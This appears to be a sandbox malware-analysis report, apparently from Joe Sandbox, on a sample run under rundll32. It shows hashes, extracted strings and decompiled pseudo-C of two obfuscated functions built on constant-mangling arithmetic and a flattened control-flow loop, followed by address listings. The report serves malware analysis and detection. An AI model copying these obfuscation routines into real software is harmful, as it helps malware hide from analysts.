API ID:
String ID: D.I$EI$W9X$qeV$qu$rlg$w]$e_
API String ID: 0-1297867753
Opcode ID: 5c7cd4288343e6e74a655f9e39e49149e1e39bb9acfebe3841208e6f1b249fde
Instruction ID: 00671bb9744b31ec55192b50298b586d5cfe4c167516b7b877a733ad1687419b
Opcode Fuzzy Hash: 5c7cd4288343e6e74a655f9e39e49149e1e39bb9acfebe3841208e6f1b249fde
Instruction Fuzzy Hash: 6C6210715083809FE378CF25C48AB9BBBE1BBC5318F10891DE5DA9A260D7B49949CF53

Uniqueness

Uniqueness Score: -1.00%

Function 029CE6FD, Relevance: 10.4, Strings: 8, Instructions: 363
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E029CE6FD(void* __ecx) {
				char _v520;
				char _v1040;
				char _v1560;
				char _v2080;
				char _v2600;
				short _v2604;
				short _v2608;
				intOrPtr _v2612;
				signed int _v2616;
				signed int _v2620;
				signed int _v2624;
				signed int _v2628;
				signed int _v2632;
				signed int _v2636;
				signed int _v2640;
				signed int _v2644;
				signed int _v2648;
				signed int _v2652;
				signed int _v2656;
				signed int _v2660;
				signed int _v2664;
				signed int _v2668;
				signed int _v2672;
				signed int _v2676;
				signed int _v2680;
				signed int _v2684;
				signed int _v2688;
				signed int _v2692;
				signed int _v2696;
				signed int _v2700;
				signed int _v2704;
				signed int _v2708;
				signed int _v2712;
				signed int _v2716;
				signed int _v2720;
				signed int _v2724;
				signed int _v2728;
				signed int _v2732;
				signed int _v2736;
				signed int _v2740;
				signed int _v2744;
				signed int _v2748;
				signed int _v2752;
				signed int _v2756;
				signed int _v2760;
				signed int _v2764;
				signed int _v2768;
				signed int _v2772;
				signed int _v2776;
				signed int _v2780;
				signed int _v2784;
				void* _t446;
				signed int _t459;
				signed int _t460;
				signed int _t461;
				signed int _t462;
				signed int _t463;
				signed int _t464;
				signed int _t465;
				signed int _t466;
				signed int _t467;
				signed int _t468;
				void* _t508;
				void* _t509;
				signed int* _t513;

				_t513 =  &_v2784;
				_v2612 = 0xb14832;
				_v2608 = 0;
				_v2604 = 0;
				_v2620 = 0xe8d9a4;
				_v2620 = _v2620 >> 0xa;
				_v2620 = _v2620 ^ 0x00003a1f;
				_v2716 = 0x661746;
				_v2716 = _v2716 >> 0xd;
				_v2716 = _v2716 + 0xb248;
				_v2716 = _v2716 ^ 0x000ec2b2;
				_v2644 = 0xdee13e;
				_t508 = __ecx;
				_t509 = 0xe9a37bd;
				_t459 = 0x73;
				_v2644 = _v2644 / _t459;
				_v2644 = _v2644 ^ 0x00087c3f;
				_v2684 = 0x42fa90;
				_v2684 = _v2684 ^ 0x6576c337;
				_t460 = 0x77;
				_v2684 = _v2684 / _t460;
				_v2684 = _v2684 ^ 0x00ded541;
				_v2780 = 0xdee3be;
				_v2780 = _v2780 + 0xc63c;
				_v2780 = _v2780 | 0x49613a4b;
				_t41 =  &_v2780; // 0x49613a4b
				_t461 = 0x52;
				_v2780 =  *_t41 / _t461;
				_v2780 = _v2780 ^ 0x00e29cb0;
				_v2656 = 0x7f0271;
				_v2656 = _v2656 >> 5;
				_v2656 = _v2656 | 0x6739ae8c;
				_v2656 = _v2656 ^ 0x673f06e1;
				_v2708 = 0xd3cd2a;
				_v2708 = _v2708 >> 5;
				_v2708 = _v2708 * 0xa;
				_v2708 = _v2708 ^ 0x004d5de0;
				_v2636 = 0x219fe1;
				_v2636 = _v2636 + 0xffff1923;
				_v2636 = _v2636 ^ 0x002c04bb;
				_v2664 = 0xd7b86a;
				_v2664 = _v2664 + 0x1915;
				_v2664 = _v2664 | 0xe7c86f51;
				_v2664 = _v2664 ^ 0xe7d3f078;
				_v2648 = 0x20b83f;
				_v2648 = _v2648 ^ 0x4b4e1051;
				_v2648 = _v2648 | 0xdeede880;
				_v2648 = _v2648 ^ 0xdfea2d3b;
				_v2700 = 0x47fefa;
				_v2700 = _v2700 + 0x9822;
				_v2700 = _v2700 | 0x6193a96f;
				_v2700 = _v2700 ^ 0x61d2a9f9;
				_v2772 = 0xd92f77;
				_v2772 = _v2772 ^ 0xa467ab56;
				_v2772 = _v2772 + 0xffff4ece;
				_v2772 = _v2772 ^ 0xaefcfb78;
				_v2772 = _v2772 ^ 0x0a4c9451;
				_v2740 = 0x679e3a;
				_v2740 = _v2740 * 0x2c;
				_v2740 = _v2740 | 0x78cf8b4f;
				_v2740 = _v2740 ^ 0x79c282dc;
				_v2668 = 0xb39db0;
				_v2668 = _v2668 + 0xeb5f;
				_v2668 = _v2668 << 0x10;
				_v2668 = _v2668 ^ 0x89013146;
				_v2748 = 0xe9dfd5;
				_v2748 = _v2748 ^ 0x11776e38;
				_t462 = 3;
				_v2748 = _v2748 / _t462;
				_v2748 = _v2748 ^ 0x9b0fc96d;
				_v2748 = _v2748 ^ 0x9ed43a4a;
				_v2692 = 0x87a328;
				_v2692 = _v2692 ^ 0xe1c8826f;
				_t463 = 0x23;
				_v2692 = _v2692 / _t463;
				_v2692 = _v2692 ^ 0x066db35c;
				_v2616 = 0xb26be6;
				_t464 = 0x31;
				_v2616 = _v2616 * 0x4f;
				_v2616 = _v2616 ^ 0x3703c283;
				_v2732 = 0xfa73da;
				_v2732 = _v2732 / _t464;
				_v2732 = _v2732 ^ 0xe919612e;
				_v2732 = _v2732 ^ 0xa13aec5f;
				_v2732 = _v2732 ^ 0x4829c6cd;
				_v2764 = 0x1ce576;
				_v2764 = _v2764 + 0x80d7;
				_v2764 = _v2764 | 0x5654564f;
				_v2764 = _v2764 << 4;
				_v2764 = _v2764 ^ 0x65d93fe8;
				_v2724 = 0xc8b6c2;
				_v2724 = _v2724 >> 3;
				_v2724 = _v2724 | 0x2636b9dc;
				_v2724 = _v2724 ^ 0x263db6ae;
				_v2676 = 0x2ab0a9;
				_v2676 = _v2676 | 0x6e4fef29;
				_t173 =  &_v2676; // 0x6e4fef29
				_t465 = 0x3a;
				_v2676 =  *_t173 / _t465;
				_v2676 = _v2676 ^ 0x01e03b45;
				_v2784 = 0xf81aa2;
				_v2784 = _v2784 * 0x37;
				_v2784 = _v2784 >> 6;
				_v2784 = _v2784 | 0x88521995;
				_v2784 = _v2784 ^ 0x88ddfed1;
				_v2756 = 0x3eb734;
				_v2756 = _v2756 + 0x7a78;
				_v2756 = _v2756 << 0xb;
				_v2756 = _v2756 << 6;
				_v2756 = _v2756 ^ 0x635a6d7d;
				_v2652 = 0xa6fb32;
				_v2652 = _v2652 + 0x158;
				_v2652 = _v2652 + 0x8a86;
				_v2652 = _v2652 ^ 0x00aa8385;
				_v2688 = 0xc483ce;
				_v2688 = _v2688 >> 0xe;
				_v2688 = _v2688 + 0xffff535e;
				_v2688 = _v2688 ^ 0xfff294f5;
				_v2628 = 0x200f2a;
				_v2628 = _v2628 | 0xf96dc0c7;
				_v2628 = _v2628 ^ 0xf96acaa0;
				_v2776 = 0xfb6c51;
				_v2776 = _v2776 + 0x858e;
				_v2776 = _v2776 << 0x10;
				_v2776 = _v2776 | 0xa8cdae9b;
				_v2776 = _v2776 ^ 0xf9da7ea8;
				_v2696 = 0x83e06f;
				_v2696 = _v2696 + 0x79c4;
				_v2696 = _v2696 << 3;
				_v2696 = _v2696 ^ 0x0428a28b;
				_v2660 = 0x8d6379;
				_v2660 = _v2660 << 3;
				_v2660 = _v2660 | 0x96c90954;
				_v2660 = _v2660 ^ 0x96e4f501;
				_v2768 = 0xc871cd;
				_t466 = 0x4d;
				_v2768 = _v2768 / _t466;
				_t467 = 0xb;
				_v2768 = _v2768 / _t467;
				_v2768 = _v2768 << 0xb;
				_v2768 = _v2768 ^ 0x01e84caf;
				_v2680 = 0x5b63c1;
				_t468 = 0x43;
				_v2680 = _v2680 * 0x58;
				_v2680 = _v2680 ^ 0x3ad683cd;
				_v2680 = _v2680 ^ 0x25bdd966;
				_v2632 = 0xe96733;
				_v2632 = _v2632 ^ 0x28d2de6f;
				_v2632 = _v2632 ^ 0x283eec54;
				_v2672 = 0xb51720;
				_v2672 = _v2672 >> 1;
				_v2672 = _v2672 ^ 0xf8a43ee6;
				_v2672 = _v2672 ^ 0xf8fd7c74;
				_v2752 = 0x5fb294;
				_v2752 = _v2752 + 0x84c9;
				_v2752 = _v2752 | 0x544bb179;
				_v2752 = _v2752 + 0x71f6;
				_v2752 = _v2752 ^ 0x546b6180;
				_v2760 = 0xc7cca7;
				_v2760 = _v2760 + 0xffffdf6c;
				_v2760 = _v2760 >> 3;
				_v2760 = _v2760 + 0x8f65;
				_v2760 = _v2760 ^ 0x0015eae0;
				_v2624 = 0x5977d2;
				_v2624 = _v2624 << 0xd;
				_v2624 = _v2624 ^ 0x2ef344d0;
				_v2744 = 0x60a2ed;
				_v2744 = _v2744 * 0x5f;
				_v2744 = _v2744 + 0xffff748a;
				_v2744 = _v2744 | 0x618e1a1f;
				_v2744 = _v2744 ^ 0x63de2e0e;
				_v2720 = 0x52b24c;
				_v2720 = _v2720 << 0xd;
				_v2720 = _v2720 / _t468;
				_v2720 = _v2720 ^ 0x0142e01f;
				_v2728 = 0x837310;
				_v2728 = _v2728 + 0xffff3b1b;
				_v2728 = _v2728 << 8;
				_v2728 = _v2728 + 0xf69d;
				_v2728 = _v2728 ^ 0x82a372fc;
				_v2704 = 0xcb4037;
				_v2704 = _v2704 ^ 0x9097fcc9;
				_v2704 = _v2704 << 3;
				_v2704 = _v2704 ^ 0x82e67b61;
				_v2640 = 0xcfd6f1;
				_v2640 = _v2640 << 2;
				_v2640 = _v2640 ^ 0x03357271;
				_v2712 = 0x3a432c;
				_v2712 = _v2712 << 2;
				_v2712 = _v2712 | 0x39ad3967;
				_v2712 = _v2712 ^ 0x39e51942;
				_v2736 = 0xb6894f;
				_v2736 = _v2736 << 6;
				_v2736 = _v2736 + 0xffff1d29;
				_v2736 = _v2736 + 0xffffc406;
				_v2736 = _v2736 ^ 0x2da3cdd8;
				do {
					while(_t509 != 0x7d63619) {
						if(_t509 == 0xd6a7cf6) {
							E029C24AA(_t468, _v2716, __eflags,  &_v2600, _v2644, _v2684, _v2780);
							 *((short*)(E029D0F17(_v2656, _v2708,  &_v2600, _v2636, _v2664))) = 0;
							E029DCC3F(_v2648,  &_v1560, __eflags, _v2700);
							_push(0x29c11b0);
							E029E06A6(__eflags,  &_v2600, _v2668, E029E0AD3(_v2772, _v2740, __eflags), _v2748, _v2692,  &_v2080, _v2616);
							E029D2EED(_v2732, _v2764, _v2724, _t452);
							_t468 =  &_v2080;
							_t446 = E029E3306(_t468, _v2676, _v2784, _v2756, _t508, _v2652);
							_t513 =  &(_t513[0x16]);
							__eflags = _t446;
							if(__eflags != 0) {
								_t509 = 0x7d63619;
								continue;
							}
						} else {
							if(_t509 != 0xe9a37bd) {
								goto L8;
							} else {
								_t509 = 0xd6a7cf6;
								continue;
							}
						}
						goto L9;
					}
					_push(_t468);
					E029CE259(_v2688, _v2620, _v2628, _v2776, _t468, _t468,  &_v1040, _v2696, _v2660);
					_push(0x29c1260);
					E029E06A6(__eflags,  &_v1040, _v2632, E029E0AD3(_v2768, _v2680, __eflags), _v2672, _v2752,  &_v520, _v2760);
					_t468 = _v2624;
					E029D2EED(_t468, _v2744, _v2720, _t440);
					_push(_v2736);
					_push( &_v520);
					_push(0);
					_push(_v2712);
					_push(_v2640);
					_push(_v2704);
					_push(0);
					_push(0);
					_t446 = E029E06EF(_v2728, __eflags);
					_t513 =  &(_t513[0x1a]);
					_t509 = 0x5b6dba;
					L8:
					__eflags = _t509 - 0x5b6dba;
				} while (__eflags != 0);
				L9:
				return _t446;
			}

0x029ce6fd
0x029ce703
0x029ce713
0x029ce71a
0x029ce721
0x029ce72c
0x029ce734
0x029ce73f
0x029ce747
0x029ce74c
0x029ce754
0x029ce75c
0x029ce773
0x029ce775
0x029ce77a
0x029ce77f
0x029ce788
0x029ce793
0x029ce79b
0x029ce7a7
0x029ce7ac
0x029ce7b2
0x029ce7ba
0x029ce7c2
0x029ce7ca
0x029ce7d2
0x029ce7d6
0x029ce7d9
0x029ce7dd
0x029ce7e5
0x029ce7f0
0x029ce7f8
0x029ce803
0x029ce80e
0x029ce816
0x029ce820
0x029ce824
0x029ce82c
0x029ce837
0x029ce842
0x029ce84d
0x029ce858
0x029ce863
0x029ce86e
0x029ce879
0x029ce884
0x029ce88f
0x029ce89a
0x029ce8a5
0x029ce8ad
0x029ce8b5
0x029ce8bd
0x029ce8c5
0x029ce8cd
0x029ce8d5
0x029ce8dd
0x029ce8e5
0x029ce8ed
0x029ce8fa
0x029ce8fe
0x029ce906
0x029ce90e
0x029ce919
0x029ce924
0x029ce92c
0x029ce939
0x029ce941
0x029ce94f
0x029ce954
0x029ce95a
0x029ce962
0x029ce96a
0x029ce972
0x029ce97e
0x029ce983
0x029ce989
0x029ce991
0x029ce9a4
0x029ce9a7
0x029ce9ae
0x029ce9b9
0x029ce9c9
0x029ce9cd
0x029ce9d5
0x029ce9dd
0x029ce9e5
0x029ce9ed
0x029ce9f5
0x029ce9fd
0x029cea02
0x029cea0a
0x029cea12
0x029cea17
0x029cea1f
0x029cea27
0x029cea32
0x029cea3d
0x029cea44
0x029cea47
0x029cea4b
0x029cea53
0x029cea60
0x029cea64
0x029cea69
0x029cea71
0x029cea79
0x029cea81
0x029cea89
0x029cea8e
0x029cea93
0x029cea9b
0x029ceaa6
0x029ceab1
0x029ceabc
0x029ceac7
0x029ceacf
0x029cead4
0x029ceadc
0x029ceae4
0x029ceaef
0x029ceafa
0x029ceb05
0x029ceb0d
0x029ceb15
0x029ceb1a
0x029ceb22
0x029ceb2a
0x029ceb32
0x029ceb3a
0x029ceb41
0x029ceb49
0x029ceb54
0x029ceb5c
0x029ceb67
0x029ceb72
0x029ceb80
0x029ceb85
0x029ceb8f
0x029ceb94
0x029ceb9a
0x029ceb9f
0x029ceba7
0x029cebb4
0x029cebb5
0x029cebb9
0x029cebc1
0x029cebc9
0x029cebd4
0x029cebdf
0x029cebea
0x029cebf5
0x029cebfc
0x029cec07
0x029cec12
0x029cec1a
0x029cec22
0x029cec2a
0x029cec32
0x029cec3a
0x029cec42
0x029cec4a
0x029cec4f
0x029cec57
0x029cec5f
0x029cec6a
0x029cec72
0x029cec7d
0x029cec8a
0x029cec8e
0x029cec96
0x029cec9e
0x029ceca6
0x029cecae
0x029cecb9
0x029cecbd
0x029cecc5
0x029ceccd
0x029cecd5
0x029cecda
0x029cece2
0x029cecea
0x029cecf2
0x029cecfa
0x029cecff
0x029ced07
0x029ced12
0x029ced1a
0x029ced25
0x029ced2d
0x029ced32
0x029ced3a
0x029ced42
0x029ced4a
0x029ced4f
0x029ced57
0x029ced5f
0x029ced6c
0x029ced6c
0x029ced7a
0x029cedaa
0x029cede5
0x029cedef
0x029cedfc
0x029cee39
0x029cee4e
0x029cee5a
0x029cee71
0x029cee76
0x029cee79
0x029cee7b
0x029cee81
0x00000000
0x029cee81
0x029ced7c
0x029ced82
0x00000000
0x029ced88
0x029ced88
0x00000000
0x029ced88
0x029ced82
0x00000000
0x029ced7a
0x029cee88
0x029ceeb7
0x029ceec7
0x029cef01
0x029cef12
0x029cef19
0x029cef1e
0x029cef29
0x029cef2a
0x029cef2b
0x029cef2f
0x029cef36
0x029cef3e
0x029cef3f
0x029cef40
0x029cef45
0x029cef48
0x029cef4d
0x029cef4d
0x029cef4d
0x029cef63
0x029cef63

Strings

}mZc, xrefs: 029CEA93
OVTV, xrefs: 029CE9F5
)On, xrefs: 029CEA3D
,C:, xrefs: 029CED25
_, xrefs: 029CE919
]M, xrefs: 029CE824
T>(, xrefs: 029CEBDF
K:aI, xrefs: 029CE7D2

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: )On$,C:$K:aI$OVTV$T>($_$}mZc$]M
API String ID: 0-4112715058
Opcode ID: a4a8c82536cb6fce98438665e5c6ddbdf3131a55ce82b845bf0fc360a59fce7d
Instruction ID: fabb8d896e1bf1c3052d31547c3115642c7a7857f5d0e0d1e03049f5caee5c01
Opcode Fuzzy Hash: a4a8c82536cb6fce98438665e5c6ddbdf3131a55ce82b845bf0fc360a59fce7d
Instruction Fuzzy Hash: 7312E0725083819FD3A8CF65C48AA8BFBE2FBC5348F10891DE5DA96260D7B18549CF43

Uniqueness

Uniqueness Score: -1.00%

Function 029C4716, Relevance: 10.4, Strings: 8, Instructions: 354
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E029C4716(void* __ecx) {
				char _v520;
				char _v1040;
				char _v1560;
				char _v2080;
				char _v2600;
				signed int _v2604;
				signed int _v2608;
				signed int _v2612;
				signed int _v2616;
				signed int _v2620;
				signed int _v2624;
				signed int _v2628;
				signed int _v2632;
				signed int _v2636;
				signed int _v2640;
				signed int _v2644;
				signed int _v2648;
				signed int _v2652;
				signed int _v2656;
				signed int _v2660;
				signed int _v2664;
				signed int _v2668;
				signed int _v2672;
				signed int _v2676;
				signed int _v2680;
				signed int _v2684;
				signed int _v2688;
				signed int _v2692;
				signed int _v2696;
				signed int _v2700;
				signed int _v2704;
				signed int _v2708;
				signed int _v2712;
				signed int _v2716;
				signed int _v2720;
				signed int _v2724;
				signed int _v2728;
				signed int _v2732;
				signed int _v2736;
				signed int _v2740;
				signed int _v2744;
				signed int _v2748;
				signed int _v2752;
				signed int _v2756;
				signed int _v2760;
				signed int _v2764;
				signed int _v2768;
				signed int _v2772;
				void* _t435;
				signed int _t446;
				signed int _t449;
				signed int _t450;
				signed int _t451;
				signed int _t452;
				signed int _t453;
				signed int _t454;
				signed int _t455;
				signed int _t456;
				void* _t496;
				void* _t497;
				signed int* _t501;

				_t501 =  &_v2772;
				_v2756 = 0xbd3805;
				_t496 = __ecx;
				_t497 = 0xe9a37bd;
				_t449 = 0x67;
				_v2756 = _v2756 / _t449;
				_v2756 = _v2756 | 0x3bad178a;
				_v2756 = _v2756 >> 0xb;
				_v2756 = _v2756 ^ 0x00077593;
				_v2708 = 0x78b1a9;
				_v2708 = _v2708 ^ 0xbce39c92;
				_t450 = 0x7a;
				_v2708 = _v2708 * 0x68;
				_v2708 = _v2708 ^ 0x9f06045c;
				_v2768 = 0xcb3435;
				_v2768 = _v2768 + 0xf139;
				_v2768 = _v2768 + 0x4a95;
				_v2768 = _v2768 ^ 0x45397ef6;
				_v2768 = _v2768 ^ 0x45f6dc85;
				_v2656 = 0xb5bc8b;
				_v2656 = _v2656 / _t450;
				_v2656 = _v2656 >> 9;
				_v2656 = _v2656 ^ 0x000644df;
				_v2676 = 0x9a59a2;
				_v2676 = _v2676 << 6;
				_v2676 = _v2676 + 0x79c9;
				_v2676 = _v2676 ^ 0x269927bc;
				_v2644 = 0xebdb0b;
				_v2644 = _v2644 + 0xffff7e91;
				_v2644 = _v2644 ^ 0x00e3e818;
				_v2744 = 0x748cb6;
				_t451 = 0x69;
				_v2744 = _v2744 / _t451;
				_v2744 = _v2744 + 0xffff7480;
				_v2744 = _v2744 >> 4;
				_v2744 = _v2744 ^ 0x000f716d;
				_v2700 = 0x5a3d3a;
				_v2700 = _v2700 << 2;
				_v2700 = _v2700 + 0xffff4e8e;
				_v2700 = _v2700 ^ 0x0160ac4c;
				_v2648 = 0x7e8104;
				_t452 = 0x52;
				_v2648 = _v2648 / _t452;
				_v2648 = _v2648 >> 0xf;
				_v2648 = _v2648 ^ 0x0000f20f;
				_v2660 = 0x9d9081;
				_v2660 = _v2660 + 0xe267;
				_t446 = 0x6d;
				_v2660 = _v2660 / _t446;
				_v2660 = _v2660 ^ 0x000198c4;
				_v2760 = 0x1fdf7e;
				_v2760 = _v2760 + 0xffffb57e;
				_v2760 = _v2760 | 0x4d8d3104;
				_v2760 = _v2760 * 0x1f;
				_v2760 = _v2760 ^ 0x6651034b;
				_v2616 = 0x1e8142;
				_v2616 = _v2616 ^ 0x9846525f;
				_v2616 = _v2616 ^ 0x985a7e6a;
				_v2636 = 0x8bea9d;
				_v2636 = _v2636 + 0x3433;
				_v2636 = _v2636 ^ 0x008c5316;
				_v2692 = 0x8d3fa0;
				_v2692 = _v2692 + 0xa16;
				_v2692 = _v2692 ^ 0x3978a715;
				_v2692 = _v2692 ^ 0x39fca316;
				_v2752 = 0x54e5a5;
				_t453 = 0x31;
				_v2752 = _v2752 / _t453;
				_v2752 = _v2752 << 2;
				_v2752 = _v2752 << 0xd;
				_v2752 = _v2752 ^ 0xddc01927;
				_v2628 = 0x3b0ebd;
				_v2628 = _v2628 + 0x5a12;
				_v2628 = _v2628 ^ 0x003a37d5;
				_v2728 = 0xd9912;
				_v2728 = _v2728 + 0xffffff8e;
				_v2728 = _v2728 + 0x151b;
				_v2728 = _v2728 ^ 0xc919a244;
				_v2728 = _v2728 ^ 0xc91387be;
				_v2652 = 0x9a1e89;
				_v2652 = _v2652 + 0xffffd410;
				_v2652 = _v2652 + 0xffff287e;
				_v2652 = _v2652 ^ 0x009c4256;
				_v2684 = 0x15a0e6;
				_v2684 = _v2684 ^ 0xb8dbbab6;
				_v2684 = _v2684 + 0x97da;
				_v2684 = _v2684 ^ 0xb8cbbf76;
				_v2668 = 0x9ef103;
				_v2668 = _v2668 + 0xffff7b94;
				_v2668 = _v2668 | 0x00319522;
				_v2668 = _v2668 ^ 0x00bf326f;
				_v2620 = 0x4a1e54;
				_v2620 = _v2620 >> 6;
				_v2620 = _v2620 ^ 0x000c4793;
				_v2736 = 0xd06d17;
				_v2736 = _v2736 + 0x884d;
				_v2736 = _v2736 ^ 0x7404790a;
				_v2736 = _v2736 | 0xba93ab77;
				_v2736 = _v2736 ^ 0xfed43485;
				_v2612 = 0x954bd3;
				_v2612 = _v2612 ^ 0x8ffa8774;
				_v2612 = _v2612 ^ 0x8f608466;
				_v2720 = 0xd6acec;
				_v2720 = _v2720 + 0xffff5ed2;
				_v2720 = _v2720 >> 0xf;
				_v2720 = _v2720 ^ 0x0006c51a;
				_v2748 = 0xa0b218;
				_v2748 = _v2748 | 0x2e802189;
				_v2748 = _v2748 * 0x73;
				_v2748 = _v2748 + 0xffff7bdc;
				_v2748 = _v2748 ^ 0xf2382bfd;
				_v2764 = 0x9e4a45;
				_v2764 = _v2764 << 8;
				_v2764 = _v2764 ^ 0x3e46804a;
				_v2764 = _v2764 * 0x37;
				_v2764 = _v2764 ^ 0x62bdc582;
				_v2604 = 0x8883eb;
				_v2604 = _v2604 * 0x4c;
				_v2604 = _v2604 ^ 0x28896087;
				_v2772 = 0xfc6e81;
				_v2772 = _v2772 << 8;
				_v2772 = _v2772 + 0xffff5041;
				_v2772 = _v2772 >> 9;
				_v2772 = _v2772 ^ 0x007ce74b;
				_v2704 = 0x7b4330;
				_v2704 = _v2704 | 0xa64a6f4f;
				_v2704 = _v2704 + 0xffff51e2;
				_v2704 = _v2704 ^ 0xa6766629;
				_v2696 = 0x68ffb;
				_v2696 = _v2696 + 0xffffae8e;
				_t454 = 0x4c;
				_v2696 = _v2696 * 0x15;
				_v2696 = _v2696 ^ 0x008a270b;
				_v2608 = 0x25e908;
				_v2608 = _v2608 | 0x89f6fe45;
				_v2608 = _v2608 ^ 0x89f18a7c;
				_v2680 = 0x64c7ce;
				_v2680 = _v2680 + 0xffff812d;
				_v2680 = _v2680 / _t446;
				_v2680 = _v2680 ^ 0x000edd4f;
				_v2732 = 0xd7b79d;
				_v2732 = _v2732 << 0x10;
				_v2732 = _v2732 + 0xffff219d;
				_v2732 = _v2732 / _t454;
				_v2732 = _v2732 ^ 0x026afb0e;
				_v2740 = 0xa96152;
				_v2740 = _v2740 >> 5;
				_t455 = 0x54;
				_v2740 = _v2740 / _t455;
				_v2740 = _v2740 | 0x77a7e005;
				_v2740 = _v2740 ^ 0x77acf7d0;
				_v2688 = 0xb17947;
				_v2688 = _v2688 ^ 0x532d5061;
				_v2688 = _v2688 + 0x450a;
				_v2688 = _v2688 ^ 0x5396c605;
				_v2640 = 0x5ab761;
				_v2640 = _v2640 << 2;
				_v2640 = _v2640 ^ 0x01641603;
				_v2664 = 0x3ff5f1;
				_v2664 = _v2664 | 0x0a43160e;
				_t456 = 0x11;
				_v2664 = _v2664 / _t456;
				_v2664 = _v2664 ^ 0x009776ed;
				_v2672 = 0x3c4cc1;
				_v2672 = _v2672 >> 3;
				_v2672 = _v2672 >> 0x10;
				_v2672 = _v2672 ^ 0x0009519e;
				_v2712 = 0x1eac75;
				_v2712 = _v2712 << 9;
				_v2712 = _v2712 + 0xffff6483;
				_v2712 = _v2712 ^ 0x3d5a7f2c;
				_v2724 = 0xe4c37e;
				_v2724 = _v2724 >> 0xd;
				_v2724 = _v2724 + 0x40c2;
				_v2724 = _v2724 >> 0xb;
				_v2724 = _v2724 ^ 0x00093098;
				_v2716 = 0x23ebfd;
				_v2716 = _v2716 ^ 0xd48ea434;
				_v2716 = _v2716 + 0xfffffa83;
				_v2716 = _v2716 ^ 0xd4aba8c7;
				_v2624 = 0x214d16;
				_v2624 = _v2624 ^ 0x608c534a;
				_v2624 = _v2624 ^ 0x60add2f4;
				_v2632 = 0x7bbdf2;
				_v2632 = _v2632 ^ 0x64f180bf;
				_v2632 = _v2632 ^ 0x6483f2c7;
				do {
					while(_t497 != 0x7d63619) {
						if(_t497 == 0xd6a7cf6) {
							E029C24AA(_t456, _v2708, __eflags,  &_v2600, _v2768, _v2656, _v2676);
							 *((short*)(E029D0F17(_v2644, _v2744,  &_v2600, _v2700, _v2648))) = 0;
							E029DCC3F(_v2660,  &_v1560, __eflags, _v2760);
							_push(0x29c11b0);
							E029E06A6(__eflags,  &_v2600, _v2692, E029E0AD3(_v2616, _v2636, __eflags), _v2752, _v2628,  &_v2080, _v2728);
							E029D2EED(_v2652, _v2684, _v2668, _t441);
							_t456 =  &_v2080;
							_t435 = E029E3306(_t456, _v2620, _v2736, _v2612, _t496, _v2720);
							_t501 =  &(_t501[0x16]);
							__eflags = _t435;
							if(__eflags != 0) {
								_t497 = 0x7d63619;
								continue;
							}
						} else {
							if(_t497 != 0xe9a37bd) {
								goto L8;
							} else {
								_t497 = 0xd6a7cf6;
								continue;
							}
						}
						goto L9;
					}
					_push(_t456);
					E029CE259(_v2748, _v2756, _v2764, _v2604, _t456, _t456,  &_v1040, _v2772, _v2704);
					_push(0x29c1200);
					E029E06A6(__eflags,  &_v1040, _v2680, E029E0AD3(_v2696, _v2608, __eflags), _v2732, _v2740,  &_v520, _v2688);
					_t456 = _v2640;
					E029D2EED(_t456, _v2664, _v2672, _t429);
					_push(_v2632);
					_push( &_v520);
					_push(0);
					_push(_v2624);
					_push(_v2716);
					_push(_v2724);
					_push(0);
					_push(0);
					_t435 = E029E06EF(_v2712, __eflags);
					_t501 =  &(_t501[0x1a]);
					_t497 = 0x5b6dba;
					L8:
					__eflags = _t497 - 0x5b6dba;
				} while (__eflags != 0);
				L9:
				return _t435;
			}

0x029c4716
0x029c471c
0x029c4730
0x029c4732
0x029c4737
0x029c473c
0x029c4742
0x029c474a
0x029c474f
0x029c4757
0x029c475f
0x029c476c
0x029c476f
0x029c4773
0x029c477b
0x029c4783
0x029c478b
0x029c4793
0x029c479b
0x029c47a3
0x029c47b9
0x029c47c0
0x029c47c8
0x029c47d3
0x029c47db
0x029c47e0
0x029c47e8
0x029c47f0
0x029c47fb
0x029c4806
0x029c4811
0x029c481d
0x029c4822
0x029c4828
0x029c4830
0x029c4835
0x029c483d
0x029c4845
0x029c484a
0x029c4852
0x029c485a
0x029c486c
0x029c4871
0x029c487a
0x029c4882
0x029c488d
0x029c4898
0x029c48aa
0x029c48ad
0x029c48b4
0x029c48bf
0x029c48c7
0x029c48cf
0x029c48dc
0x029c48e0
0x029c48e8
0x029c48f3
0x029c4900
0x029c490b
0x029c4916
0x029c4921
0x029c492c
0x029c4934
0x029c493c
0x029c4944
0x029c494c
0x029c495a
0x029c495d
0x029c4961
0x029c4966
0x029c496b
0x029c4973
0x029c497e
0x029c4989
0x029c4994
0x029c499c
0x029c49a1
0x029c49a9
0x029c49b1
0x029c49b9
0x029c49c4
0x029c49cf
0x029c49da
0x029c49e5
0x029c49ed
0x029c49f5
0x029c49fd
0x029c4a05
0x029c4a0d
0x029c4a15
0x029c4a1d
0x029c4a25
0x029c4a30
0x029c4a38
0x029c4a43
0x029c4a4b
0x029c4a53
0x029c4a5b
0x029c4a63
0x029c4a6b
0x029c4a76
0x029c4a81
0x029c4a8c
0x029c4a94
0x029c4a9c
0x029c4aa1
0x029c4aa9
0x029c4ab1
0x029c4abe
0x029c4ac2
0x029c4aca
0x029c4ad2
0x029c4ada
0x029c4adf
0x029c4aec
0x029c4af0
0x029c4af8
0x029c4b0b
0x029c4b12
0x029c4b1d
0x029c4b25
0x029c4b2a
0x029c4b32
0x029c4b37
0x029c4b3f
0x029c4b47
0x029c4b4f
0x029c4b57
0x029c4b5f
0x029c4b67
0x029c4b78
0x029c4b80
0x029c4b84
0x029c4b8c
0x029c4b97
0x029c4ba2
0x029c4bad
0x029c4bb5
0x029c4bc5
0x029c4bc9
0x029c4bd1
0x029c4bd9
0x029c4bde
0x029c4bee
0x029c4bf2
0x029c4bfa
0x029c4c02
0x029c4c0b
0x029c4c10
0x029c4c16
0x029c4c1e
0x029c4c26
0x029c4c2e
0x029c4c36
0x029c4c3e
0x029c4c46
0x029c4c51
0x029c4c59
0x029c4c64
0x029c4c6f
0x029c4c81
0x029c4c84
0x029c4c88
0x029c4c90
0x029c4c98
0x029c4c9d
0x029c4ca2
0x029c4caa
0x029c4cb2
0x029c4cb7
0x029c4cbf
0x029c4cc7
0x029c4ccf
0x029c4cd4
0x029c4cdc
0x029c4ce1
0x029c4ce9
0x029c4cf1
0x029c4cf9
0x029c4d01
0x029c4d09
0x029c4d14
